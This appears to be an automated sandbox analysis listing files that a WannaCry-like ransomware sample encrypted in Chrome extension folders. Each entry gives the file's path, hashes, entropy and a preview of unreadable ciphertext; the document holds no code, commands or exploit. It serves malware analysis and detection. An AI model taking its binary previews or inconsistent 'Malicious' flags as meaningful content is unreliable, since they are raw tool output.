                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\icon_128.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3496
                                                                                                                        Entropy (8bit):7.943812163194024
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:ow++rjNYgM7MNz3Mg6ZEqCRCPdz8vee+TllRroVD:h1/NYLQNzNTzKp8zVD
                                                                                                                        MD5:609391EE2D5CB5DAF9D9F4A37ABD6F49
                                                                                                                        SHA1:0332C13A7E5096A76FC50E1363C4C8FD888FAD14
                                                                                                                        SHA-256:98EBAB2BDA18B25F1935B020414E1224B92D6B1F4F84BF8E3CED30F782C2DAB7
                                                                                                                        SHA-512:148E3BDC6ECEAF51D4363AFA91BCCADE3210824B620B212165120BA81DC30D8003DCE5941A00B7AEB5B2EDE1D12150867CECC7BF17E437BF1112AE367E97225A
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....j....Lea.RB....@.......!eI........L|;'.... ...gA,.T..bG+.Zl.%i.e.we..v.WR.-.....K.....92z.)..W...H..y.....eu.....G..V(.....^...uk...T..D-m.5...x_.B........k.1.1.........~......sX.....)g.z...X~.......4.-9..iP...x*e..........N.....V..=.%......p2..............Wu..2.wCEu^glHP2c...x.05.%.....H|+..."...=_..0...!..../....Y.n.y...`h...h9...F.e.?yG.2U....~v.d..Ld.]6c..G..R..vO...0.....s@..s$..9..F...x.b<..l.e...$...k...."Dw.4..='......J.s....&.m....jSe.v.oI....b...9.C>2..G...b]p...2....Eb.. !.....2*........p..Pk./.f..'1D..XI,..%.5..I.V..........5..q..=."...g+.s....h...).%8/\k,..............p#,.BI.cL........*..<....II..D../.........>.*x.bo.....\..<........l.......u...+._$..C..x{....pZ.f.u......Ex....N.3lm..b.8...A.cc2$....L..~.I..G.R...D.....M.i....q.\g.1.....g'J...._>6... .o.#,.L.....=]P..M.../@=g.W5..}vC.:B..]..&^`...&.lU.....z.M...+..C.....}B?...|...b!..p.K...o......xt..JTa.(..."..E)..OK.%...F...Y.gf.".c..aJ..^O@....%.+/.e?..S......

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\icon_16.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):424
                                                                                                                        Entropy (8bit):7.5076638875649335
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:bkE1GGBFy9wdRH5/MPw4jV3/RLyfN2hDFTNwe:bkfG+9IxtVoz
                                                                                                                        MD5:46BD1D91D73867AAF6D877BF756F7579
                                                                                                                        SHA1:1D7D612804669BB0A1352AE72AF9A091DB8F4874
                                                                                                                        SHA-256:E1781D2CBC14924648EBF5C666FCC1E93471CA769B457443E6C8A69983B3BEF6
                                                                                                                        SHA-512:3011369A219D4361776964B13679B4817D7D9B2E445A576C3B34A63CB0406A061A7FC7BC626D1390AE6B902B4BAEDF0B579025C148EE7D72419457C3250AAC1C
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!...._.N,-a..]..Z4S..L+&.....]........;7"..54/6..K..3..P......#..8#...2..w.}.....@..A...'x*kn..OHw..Y..I...~f\.>.7.....B?/3...y....A'YD..A[..8tu........a.N.zk..,Q._F....e...Z.........M.gm......i..&v....s.J......Ab7d(..z.X...ol..5..o.EeA.._.O8L.}h.................n...s....S...@`p.8...9&P$..K...*]..D.u.*.w..r#..uPy.B'.F.e....)2.)......L8\...-.\.:...Q.....yb7.t9.'...D .lE. ..x..]P..l....F.4,#.....h.U.1

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\main.js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):376
                                                                                                                        Entropy (8bit):7.281329254090512
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkECvtejatT3L8idOln8zfugiHgTc5HSe15k0FtG/6KrjmWRNdsfnBB8+:bkECV1tT3Fg1+fuATxe15jG1rzLunl
                                                                                                                        MD5:C875F20237EAC9C01DE2A30724DED27F
                                                                                                                        SHA1:42F09AC654176F39985A081D6E96F7C611C2CDC5
                                                                                                                        SHA-256:377262F355D88F9E40BD6D26525AA5D5F41842BA515EE48452EB9FF0C526F4D1
                                                                                                                        SHA-512:15C3286BFAB62BF16CF4B3A9ADD172B4440E70FA30FE6547FF26F570EC7D3CED1213338D9F6EFE7DA3A215713C442FBCB85E773F14E668D49C3CAC586CEEE8AA
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....L.9..'kf.Y!..(Q.....-.P}.M~.I)..7....[.Z...U..,l*.....z.M....R...!...]U.dB..CY.&...*.5...]..j..B..2.[.V.B8..i....dr..7.U@.4Y.(...0d.j..Z.Oy*...^."0.:vam..v.g../H.... ...h..]a.l..'. ......hH.)mg..U..y.=j.d..T.,.Cy......vf....+ ...y_.|o%... .aXLZ......[.........Y.M...Lj\ .....b ..<8[v,...Y."|sB.V..e.z..c[}$d...%9.x../..Y....rqdB.]..4c.....} ..q...j..

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\128.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):4200
                                                                                                                        Entropy (8bit):7.962684060902585
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:ofmkFL6nW+kRFnb45SsxxYpqfnPmG7l7FzB969VDmS+A:Imk4aR6hxK8eGszmSj
                                                                                                                        MD5:DC4F74F93FE520064378E4ECC52E22FB
                                                                                                                        SHA1:F3096C86E9DA664BFE3A0E599A5AE27614F3E998
                                                                                                                        SHA-256:D21C1C5CF8ACCF6B2F4ED1FEB116874B286FA746FEC157BAE0C5BCC38D3D1510
                                                                                                                        SHA-512:37A36C4B32174A05F0848435DEBFF14F797CF0B15E917D46100DB260828F273872DE1160A90FCA194C8A64B1BA0FB537EB2DBE1DD42E06EFFD7BCC032AAB623E
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....Gu. .8..3...c^&.......5.!U..........Y.]L.Q....9...*v\\..9.K..u.-w....vD.(e.n...n..R.Z.....8...2..MmsQ...sSI.*t....M.5W.@.ut..A..jd.. .)7.....{.$..g .....k.."Y.!K.,?pkF.>..,s6W.p........rJK.(.2<;>........bo.$...0.?4..n..Gx.....(....4.]$.2/U..(.......D.........5.....e..O.#Ne..*...&.g....^..?OD!w....S!,=.^.......Q....R..f"....y.u..i.M_F..v.c..i)g...!.....|(......T........aN..9k...D..d..i.t.........k-.)4."ef{.c.<.20.Ik..H...X..#.z.m...;..._...QZ_%y......x.m..$.[..2^y..\|%.Ih.&?..}EX...!.2K.b@.M`..-.K...p;..\.)m&.L^S..A..{}...<..X.S....}. ^..g...+.k.......]..)....-(.p.. .n.N.-..-....F.S..6r.S?E...`.Wa..L..{.g...~........h!".......h..B....D.,....@CI..U.o\.......y..07-.i.ED..t)....Q.,p....x+.vSP...`..m..4..]tD....9.....n....:(..d.2......Lo...N(.h...a....YJ7J..BpK...F2F...j-.,G.7....9xf-..`..#z.;j.p..6...._..._....Q.d.."..$...C.-Q..>h..K.|(/<......U.F.o.w...g..o..5..T.n..y..U....G..^.?.J.GvaS]..I....V.}.6e..W........,:......d..N..

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\128.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3688
                                                                                                                        Entropy (8bit):7.944110304484351
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:ogWqRFGL/IcUZHzmIpxNw6AdTgvpvy1Pj4wnE:7WBIcUtnjGipvUkwE
                                                                                                                        MD5:3E68BDF3C499EBAEBF1A873856FB56A9
                                                                                                                        SHA1:8A2A0A6787D1F80202347CC13663E8D67F73E71E
                                                                                                                        SHA-256:2EF40CB534B10C09A846793EE5E57A9047FACC3390463BB544B9CD7867AA6E48
                                                                                                                        SHA-512:9DEF4BA5B96CC0B46756DDE1AABE2BA9D714E28F6B7FBBB06924D0B7B3E0B844009E93DA4BC5832E83FAB69C7A10471C5D12E11F03E5AA3C207B29E5E7673E18
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....6{..x..L.3`M.j.g......<%....&..C..J....=.S..$.....k..........i..;.a...2S..&.^....$.A..Y...........?.".N?..00...9<p.....Y...-..H.4U.......F.P..z.,T.......[.%..4...._.M...TmQ.G.$.C...m..D`.c...r......u...|$|s.8....x."g&..S.U..d...S.E...3.........M........u......I....r.8.5.%.a...D.<.,I...x'..]8...NY.v../"x.s.y-k.Z...Ucz..^...T,..?.>w...I{d...;....0...t...S.$...U..r....$S...~.;..g.3.07.%c{..y..&_...8n.uv%.]....v.*.4.j..U....;xI...o....o.h>........q...).>).......i.Je........F.|e...x...[.+..%..gN.=..S....i...2....aUa...l?^.....V..|..SEu......2.....N83...;....d..(......%3B..y...aT.}>."_sa.0_(.>.B[.......$.-.k........3.E.iT......O..../...X?..E..|J........N...R=l.R1}......<..Z...G..E...D.......G.?G....f...6kw.../U{o..L.d.6^.e@:.n.........j..b.RHp...h....o..Ts....3....kj.:....6.;c...........zS=.....a^<..p.....nc<{.GW6.)'..,..j..[.#....o.F;%zn...&D.D\.".'U>..8^.@.@2W3...p..Q......7\V...#.J;^.>#V..../.Y........h]Q.92.1q...}..5...g.^Y..C

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\icon_128.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3688
                                                                                                                        Entropy (8bit):7.946849206176209
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:o/AIdXLMx4FetncNvJuSJkENPpBI2aCxrFF1JZnAakiJfHs:2AItLMaItnCJbk4P7I2n5nAqJk
                                                                                                                        MD5:E4CC2429EB8C8598371BD67B01897D1C
                                                                                                                        SHA1:83E031D006B0393C671FF853A6C2D9F93322346F
                                                                                                                        SHA-256:2EC11FD8BF04D58D3565078F62F48CA0B24EB19A12D91C75D4B1AD85E4F90601
                                                                                                                        SHA-512:23F9E1FCDED41681EC3D755585035913E57B88A4C1E7F596CCAF2E0E3587E3582CFB96FE7BE78909F7F77326D32D5C2CC27F81399A6E9EB78CB01A7A5B5AF9AF
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....0{..=..h.y]..at[.c...%}...-d...O^.'a.......^"...}k......\,D.....G..)0R.*.V.....K..+ZQ...3.Q.lZ#5.2K>..e.....+......o.l...g.l..r....2}..t.<...3Y.}.e..w4...3e...H..g..m4.K.v|.3D....+....@. .P...M...H.,..pD.Hky..SB..i.....^.;.......#.s...O.t..E]....U....H...........Bhm.U#g3.Oj.o8h?'1Fo..(.>..!...E...6R@S.W...X.@E.....-@m..O._.#.....8.o}[Y..........U'....Rd...Z.M..........p..[..0..$......'..L...1f....<..d).......O.'.....v.9|.KM.....o.q....t..7.D/./..../3...>Ii.Yxa.........=....</....Y.....~.gB....O....L'.).u..r.h$r.d..].+.n.....;]\.....t..'0).......rO...t0.+.m*M.tE......,.yY....P.....qR+....2....J..#.V.*DtAc.........d....y.(..X...V.-.z9Yov.......G.~.5.......+... ..;....k..a.y......]..V8w...^.0|X8..(u"/..8.h..+P../#....9Sm:.A. z...\..5..Q......?].....C..cQ.Z...x.[.n...0.0..}p..XY.px....}..@.6.wC...q...#..j....%{I..N...@.!..2..hP).....p..........>/`@.V..y.9...eP9..]3........7.Y.V.qa.Z.....t.I.5N.yQ.C..n.......I+..$.+.3.+..z..O.GC

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\icon_16.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):440
                                                                                                                        Entropy (8bit):7.426128897911733
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:bkElyIA/i8xrBKloIbWxKn5AQ0/fb5TJ0uORG:bkU257WoIbWU+dXfBl
                                                                                                                        MD5:024DBE4AC4273A9648C8758E888E8BA7
                                                                                                                        SHA1:70799E31FD29AC991C70715CF208FB5CAA2D4299
                                                                                                                        SHA-256:0C9034B61786131C7E6A977D0595A29A091F7C1032245DF8069124EE357F8C3E
                                                                                                                        SHA-512:559652B25E3ED5ADAE652FCA119BBC23749366C5678757F691BF1A4BFB52DCFB86C2FCCEBEA3A0E152F9E207234B68CAE615A7487349089AB22535A2AAE06163
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......5.S.g9.I.!..VH...1.Q....(V....m.d....o.[O.w..>.r..$...U..!......7...P../..7...i.9...w.....o.Xj.Q..)!.tD.H.r7....2S.....8..y,.Y*&.T#...W..V.u.7.F..R~L.M@.we..u...*...).hw..H..y..U.....L.....=V..Q.!oQ..M...JH6.y.[g=].K..61.P..Y..j..m.+.Gj.k........................&C...:8s.@a1..[..._..)..^.a....Z..>^F.y,f[........*......0N.?>gi....0i..+..@.^N..s.E....>...X...3....sTI+(..A...A..v...Q.Q6.<.....w".#'g\{..D.\

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\main.js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):376
                                                                                                                        Entropy (8bit):7.338559390784113
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkE6SRZ+GbEJguLne/AigvTxZR7LMj858xJKT/HU3V8NrBGRYKghg/K0CG83vikM:bkEDBbcLne45jR74QKQUONbKgi/JCG8U
                                                                                                                        MD5:9A049DFD2895361DA8457ACFDEB7078C
                                                                                                                        SHA1:8E059DA917128B14F6B9C8FB1408CE190DFE733A
                                                                                                                        SHA-256:4A88DD128F89B7D2A788B4372E62E68CB4D692A25537ACF73CCF1238268E62AA
                                                                                                                        SHA-512:B81FF0BA6276B3DAA2A23C5BB481DAE9C3D9EBE1D6C1F1DC8DDD0632DDF4D57B64ECBE8700469AC287E23527D013FCF722EB7D3427370F6FBE1C282E5250523E
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......V...H........=...t.\.+1.U.N8..!..........#Ww......uiJ@?.V..;B.i. F4Y.vw..I)..I.v...r..O...RBA.....C...m..p.....................9!...+.........j.c..y3i.]..K.......V.%...e.I.N..V..*......x.|..g.).).l.".rF..I...F$....p.."<T.y2.o...o.pX....._.......z...^].....m3G.xy.PoO.8..`E.W..+-.....2l*.h..O....w>m..W.D...oA.........;j$.n(^..F..{.o..*Ua5

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\128.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):5224
                                                                                                                        Entropy (8bit):7.963101962769857
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oNG8vBPSHE8gCApRlyrz7NvYYjbWFXHY/kebSX6rNUm1UPeKi0u8m:ytzQkRwfNY6bkX4ZzrylPetT
                                                                                                                        MD5:6411F4C251626B6C2AFD5CE0D1BBEF39
                                                                                                                        SHA1:D12364FAF7E0C6D2BF3A2255631F6D3D366EF713
                                                                                                                        SHA-256:30FAA5D891B7A98CFABD2F7D8DA2763CF78FF5EF52A443C4DA42EE60AD97B305
                                                                                                                        SHA-512:7DCFB2BE6A3E622F1872B4A53115318C02167CB72E0A7A368DACD11096851FC10E16F3572C173E2CA6F456870E31D83C32EE5395F9F1EE529546D30883F19DCF
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........&1.D.I.ng.. H.....B......./%...O).EB.Cb.pyFB../r...Cf.......e\D.v%.T.P..@..M...R.....2~kS..........f%.6...Q......Cg..L1_:.....g]..p..U?Zxc..fl......K..>{..."@..@.!..KO`.E..`\q..^........\Jr&..i..[Tc.S!K.........8.4b....... r......dU;.T..\.}._....N.........*E.A...na.`..t....M.+.'..mp...l.).."M.4.N...}.cU..<.....8....W..48....>6s.+m|:..j'..RI..*.F'.."c........[/..k`...L.8nz,.o.....$...k.....'T....$n)....~....A.3.M....f..t...w.1.',:..0..G..n...&...J..|.....a..z......:..NE.(..&..p.,.hG.M...W.K7.eDMR.|.-.+.sV..\.)\..ej{....R...;8.......O.........*..zN.1.5..e.....a...k^<.D......p.)....v..7;F..[..}..=.n.\... ./<..<i^..X.I.?*./.qg//m>..>.J..-g+!...J.,..F......I.~W........F<...{...%.....9.5w..2.<...6s.=.n5.$.p)..SN=..p...ldJ....w...|......].s...:e(9.b.p..I.W...X0.J6.K}..2.7.......;[w. ....A..Hu...].-f.8....<f.....X...E.$R}......-.)..l.F.l......ac....8...&P..1..K~\e15.....o...n2v...g....b..">....n.FXD.HY.M.....g.M.J. 0.7....i.`..G.....

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\offscreendocument_main.js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):95848
                                                                                                                        Entropy (8bit):7.998059056808655
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:1536:qXo6d1XPO3UIgTa2ZtOQmyU4ZP1ytoXilkdy4aDbFq4QRl3zP43X3n3DVqM0Geqy:NsXPTIURZEXyU4ZP1yt1lCUX9M743H30
                                                                                                                        MD5:EA8B2CD4C9E6AB57F4E0CFC0DB422501
                                                                                                                        SHA1:8F121F717DFFAA4C788545774DE431E55899A3AB
                                                                                                                        SHA-256:3C1BA8E7679E5B018DE930104BDDB5F8EA481491DE384F274DB66700388CF179
                                                                                                                        SHA-512:032477B91DCD97CC2648396630E80082A65D21B6D91AF027716387F66FCC92AA1BCB66A1C9C145CCDF43D84F549CE22219CB96D772EFCA714322E34B8CD85082
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....J....>n'[..9i7,.?z.. ]..v..(......2KVq.5.5KJ..I.i1{.9.O...iINE-.[..M..H.w...\~>......w.r.........O<A.vB..,3........1J.V...I.oz......[I......`/O!j{....!r....cq..+E.kY...&&...V...akJ..N..2H.e......*...`..o;c.._.:F.9..qO..@..{~L...7X..F.PX......Ou.......13.8L+..A.e. ..zfffxZ.....=.(S.n...;eOI:'....`..Ja....UxH!\.C;.....A.t}..E..*}....$.q.....:t.._.J.........,..Z.#..B.H...98..a.n...L....R-\....^c.\.....d..`C.....{.v..9...[+x../..J).b..h#R..'BA..U..j......L....<c{rn.D.y.H.R.O(.v.?."..I...3.]..'..,....l..]......K.1y.a....\+.LgE......+.ZQ{..`#!.v.P;p.k]0.F.u...?3o..N.kH.....e7...G......I.'].?I9.....2u'..\.u....2..P...Fma.W..@.&.s.~.t..J...%2M......."...[/j......./.....hT.X.W..Jb[..K..3...hC.>Q.Fc.. I7..Eb.7.....ez....k.....o.2OuV.U.Jt1....}m#.9..(..r.....l.%..Z.~...^)Vmf..9.,."q........7.=...f...mt.{..u....!.......E.-J}..~A.0..O&W.D.?;..X..<...y..{.{...9..fV...c@......jHopH..m.}].L....v...N.......*.....*.Y..d4z\.... ...j...F...b

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\page_embed_script.js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):584
                                                                                                                        Entropy (8bit):7.620885483062464
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:bkEB+YAalEOxab72zcpp3i6bPcOH9XH+swcljXPP1GCaKZ/IqfHH:bkgE2af3zcOXvx/97HH
                                                                                                                        MD5:BA64B6225ABED8D9592DB358136C8BFE
                                                                                                                        SHA1:3950895EF2F315B5B06CCABBB2B8A0BA0E698AF1
                                                                                                                        SHA-256:1FEBEFD33D57E6F9D853A343C62B2721EF77E20CAB50CB6646EE66F3C1D868AE
                                                                                                                        SHA-512:C1AF4C6BBABB53129A644E1B7705FF7EC0207B91F0E0C6F745A83E3A07C6CA8A6491309629A804D2AEFCEEEFCF009705B47A3219F13C934597D3978F3E1D9726
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!..........g6.8......"..O.....p:Q.uz...%Y..%...Z\.1..|j...9....FT@...9E.5.b..M....L.w.)F.#....v%x.K..N.....?5..(.9$9R....h..g.b.."......x;? ..._.H..../y..>+.7uU>...YH!6..Y..]T+O<.....ZH.........h.....kV....(......t.]"~.b9..3..{......A...'.0(.H.......#........9.>..+.D[@.6...d.d'.<.`s8...D.<.S....X.R..0..m....I.8e...|.'....$?...E....T...4...t.J.w.k.(......w.G,4....2..{.}.o.m..`P.E..Y|...d*.;...N...h...7...Q.i...&.....(.&.....x.W".x.)...R........W.Zy.......\^/..y....]-i.z..z.Pl.snT..R|,@H]x.R"0d...."7.x...b..p...<Au...8..^..1....M..ez... .*..p.b."

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\service_worker_bin_prod.js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):104280
                                                                                                                        Entropy (8bit):7.998001809118919
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:W0A7TSEqLLrvx3xvE6Ivm5NYpVine1WFO:W0A7T0rvnVGmHYpVNGO
                                                                                                                        MD5:4C5BAF3ABACB98F13916545A3F33C1ED
                                                                                                                        SHA1:6DBAA6DB047015DDDE2E97C99CD78F1B1B1F86C3
                                                                                                                        SHA-256:A8D6105E09A7F8A401698339B4BCED613D13FF6506C4D1C1BC8D71A068549C96
                                                                                                                        SHA-512:CC31FC51AEA86154CA150FFB552D030A1E210B22373E3B3137FBD7599B44D55B7B2AA737D6A2DFDE0C8428EFD5E0F05E9CC6EE51B30EC169467F96398D44EB53
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.........!I](.........*..$C.....k..........`.X.F...\......<...Ku6,+.m....zes..F..3...L..*......%#%...'..v..?~.6#..X.{..r.iq=.ia....U.iXC.[.-.. ..7.?...$...^@...EG...y....K........wr..'.=l.5!C..m.^t..}...j*X..-.......Y8..k.3....x.y._......m..<k.H.Uk.....4.........%.2..-.........RpM...h.....hWI_'..a...K(!...! ..\a..v%rT...L:....[....5.=O.s..e)....w..:g.#/..C.O...u.l..N.H. <....d....O..[...I..`..t...5.J...R:Y...\J.../"....eS....gW..3...26.);.S....:..{.k!.q.k....</^.s.~.f.........,kq..b..S.\..1.$.d.A.....k......GT^u.#.../.k...&';6A.+..;.j.hQy.?.o0H2..s..l..Y..T.#4+.._.%E..%E.......o......}q+.@e-D!.:....7.....E%...z.&.)...y...+$...,"0}...jX..s.).2M..6..}.5A..j.P+G%P.....E.h....T..:..?..~..Q...A...x..=..3.u6....w.9c..dv....X..pN..j....N.F.]*.@.... .}7..+...K...N...X.B...nN.P.r...q....m\.0.<.7~.T.......ga..i.ur\C...A....GV...l<...+.<.s../.t..\OJ+.....j._Py:...a.*.....-.vE........%'...S...)...."&....\F..5*..lL...y.L':.Wp..v]j8.@._.

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):544936
                                                                                                                        Entropy (8bit):7.99968336099996
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:12288:Bmb7Z2wJsmAVbcs5sS1598pPqiaZDt/sa44WAkuFnASM6mtbBbAPltRlGjm/nmxt:sB2gWsSyPqiaZDxsa44D/nAemtb+PlLe
                                                                                                                        MD5:33159F8CEACCBCA4023D05AD6B25703F
                                                                                                                        SHA1:6DBB678C373B46CEE894B557B27DA369EEDCE429
                                                                                                                        SHA-256:C5A0AF74F186C9E4FC67C33B77B5B820D056AF1356EC673E8581998F249C80A1
                                                                                                                        SHA-512:453A30FE8E09FF8B8071284FE3CB9E4B6A443973B707523390F23FB6FC595BB652B27FA6FB7B0B4E41BD859B643AFE15EDDFEEB15C4A1DE7D4A34B11B5D8B4B4
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....6}..U.eE.2>.|.gGvf..k9C_.-."KqHn.Q...h(..l....sx..u#.....L.R<-h.....3m.....8.? .TJ*"e.k....z3.Sg9.9L..JP....:..X9.<..T...F..^ %..f.E.......^o.*.d...............'.....I.D%..t..xk..\..Y.S.#8.K0....Y.6Tm.d*...X...Y.N..*|&?SI<c...b...1...t.S.V...........O.......Q..(...".Lr.....%.O1=<S...v.......-i../...."...E..c...5..BM...t'LcO.ei.z#.j...@~.o.M...p...%<A]..........i._!N.E..<.h.V..Y...3.=......<..7..K.RHd.cL._.E.....G.f......*n.eY...bd.tJ.K..................?.+..a*...w.V.'.........TJ.u...?.c.s$~...Y.yqz}..xwL(..y.Io.:.PZAE..+U...G..^......B.TZ.0.a..{.i..I...I...si.p....w.G.h.HY?q.(.8*j.|#.........U-r.36o..k.".p.....+.K.8+......R...o.!g...U..........j.m?.x.=..8....f.w.. a.[.&BV.'.........{x..i..........!../.f...Vc..6H....N..O...NfW`....o.".D.2..S.%..0.D"....8M#..v.>..~6.[.+..b{...'$z..m.....V.fZo>...D.B..j..4E..T.%N....T.4.........Z...O.....MF.E...m7..bw......mL...Y.$L.B.E.A.f.02oR...P)....7.....c..j..>f.#.K.?4..)T..CN.Y....-..."?.8.

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_window.js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):261608
                                                                                                                        Entropy (8bit):7.999300573553773
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:6144:qu9U6Hg0z5vWwCWC/tnASBhHC/E5I/cOm0e1XwyGKWJm2:qu9UW5vWgIplBE/Eoe1XwXKr2
                                                                                                                        MD5:A4351DA029E37D349A59CBF0531C304E
                                                                                                                        SHA1:035A21D1823F8FE5EFA7CC0C9D123FDEB2C48121
                                                                                                                        SHA-256:1280D24D3E5E795F6F59D8C02102A1B420B39C506EBA16F7A61E9848C7083A15
                                                                                                                        SHA-512:DE379CA6D9387CAFB069B328CE34231D52EF4D180A41C5B41761A76D02F8B180FE44ABC273F0B5E88E0C8A42A124D8E01C683CE76B67C2F9F69FBDB54EF016BC
                                                                                                                        Malicious:true
